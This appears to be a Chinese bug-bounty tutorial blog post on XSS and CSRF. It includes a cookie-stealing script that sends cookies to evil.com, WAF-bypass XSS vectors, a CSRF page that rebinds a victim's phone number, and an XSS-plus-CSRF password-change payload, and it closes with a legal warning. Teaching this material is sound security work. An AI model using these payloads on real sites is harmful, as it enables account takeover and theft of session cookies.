欢迎光临
我们一直在努力

【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术

上期回顾:我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行“物理超度”——哦不,是合法的安全测试。今天的主角是 Web 漏洞界的“哼哈二将”:XSS​ 和 CSRF。


一、为什么这俩货这么重要?

很多新手觉得 XSS 是“弹个框就没用了”,那是你不会玩。

  • XSS(跨站脚本):相当于你在别人家的墙上涂鸦(植入JS)。

  • CSRF(跨站请求伪造):相当于你伪造了别人的签名(Cookie)去银行取钱。

在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。


二、XSS:从“弹窗”到“接管后台”

1. 三种形态,各有千秋

类型

别名

危害等级

特点

反射型​

非持久化

低/中

需要诱导管理员点击链接(钓鱼)。

存储型​

持久化

高​

插进数据库。每次访问页面自动触发,专杀后台管理员。

DOM型​

前端漏洞

不走服务器,前端JS处理不当导致。

2. 实战案例:后台管理员的“噩梦”

场景:某论坛发帖功能存在存储型XSS。

Payload(攻击载荷):

<script>
// 窃取管理员Cookie
var img = new Image();
img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么?

  • 你把这段代码发在帖子正文。

  • 管理员在后台查看帖子列表。

  • 管理员的 Cookie 瞬间发送到了你的服务器 evil.com。

  • 你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。

  • 结果:你不用密码,直接以管理员身份登录后台。🎉

  • 3. 绕过WAF的“猥琐流”技巧

    现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:

    • 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

    • 闭合标签:"><svg onload=alert(1)>

    • 编码绕过:\\u003cscript\\u003e(Unicode编码)

    • 利用HTML5特性:<details open ontoggle=alert(1)>

    SRC加分项:如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。


    三、CSRF:借刀杀人的艺术

    1. 核心原理:浏览器的小秘密

    浏览器会自动携带当前网站的 Cookie。

    如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账。

    2. 实战案例:改绑手机号

    场景:某SRC站点修改绑定手机的接口如下:

    https://example.com/user/changePhone?phone=13800138000&userId=1001

    漏洞点:该接口没有验证“原手机号验证码”,也没有 Token 验证。

    攻击步骤:

  • 你构造一个恶意页面 attack.html:

    <body>
    <!– 偷偷发起请求 –>
    <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
    </body>

  • 诱骗受害者(或者自己切换账号测试)在登录状态下访问 attack.html。

  • 结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过“找回密码”直接接管他的账号。

  • 3. 防御与绕过

    • 防御:Referer 校验、CSRF Token、验证码。

    • 绕过:

      • Referer绕过:如果后端只校验 contains("example.com"),你可以把文件名改成 example.com.html放在你的服务器上。

      • Token绕过:如果Token生成算法可预测,或者Token未绑定Session。


    四、XSS + CSRF = 王炸

    单独的XSS或CSRF可能已经修好了,但如果组合起来呢?

    案例:某站有反射型XSS,但没有CSRF Token。

    你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。

    // XSS Payload 中包含 CSRF 攻击
    fetch('/user/changePassword', {
    method: 'POST',
    body: 'newPwd=Hacked123',
    credentials: 'include' // 携带Cookie
    });


    五、SRC报告撰写Tips

    写报告时,别只说“这里有XSS”。

    • Bad:<script>alert(1)</script>弹窗了。

    • Good:“由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。”


    六、互动与思考

    漏洞类型

    核心利用点

    防御手段

    XSS​

    前端JS执行

    转义输出 (HtmlSpecialChars)

    CSRF​

    利用浏览器自动带Cookie

    CSRF Token, SameSite Cookie

    💬 互动话题:

    大家在挖洞时,有没有遇到过那种“明明弹窗了,但是厂商说不收”的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!


    ⚠️ 法律红线警示

  • 严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。

  • 严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。

  • 测试 XSS 时,建议使用 alert(document.domain)或 console.log作为证明,不要窃取他人的 Cookie 进行登录。

  • 所有实验请在本地靶场(如 DVWA, XSS Challenges)中进行。

    技术无罪,人心有善恶。守住底线,做正义的白帽子。

  • 下一期,我们将进入 SQL注入​ 的世界,揭秘如何“脱裤”(拖库)。准备好你的 SQLMap 了吗?😎

    赞(0)
    未经允许不得转载:171主机测评 » 【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址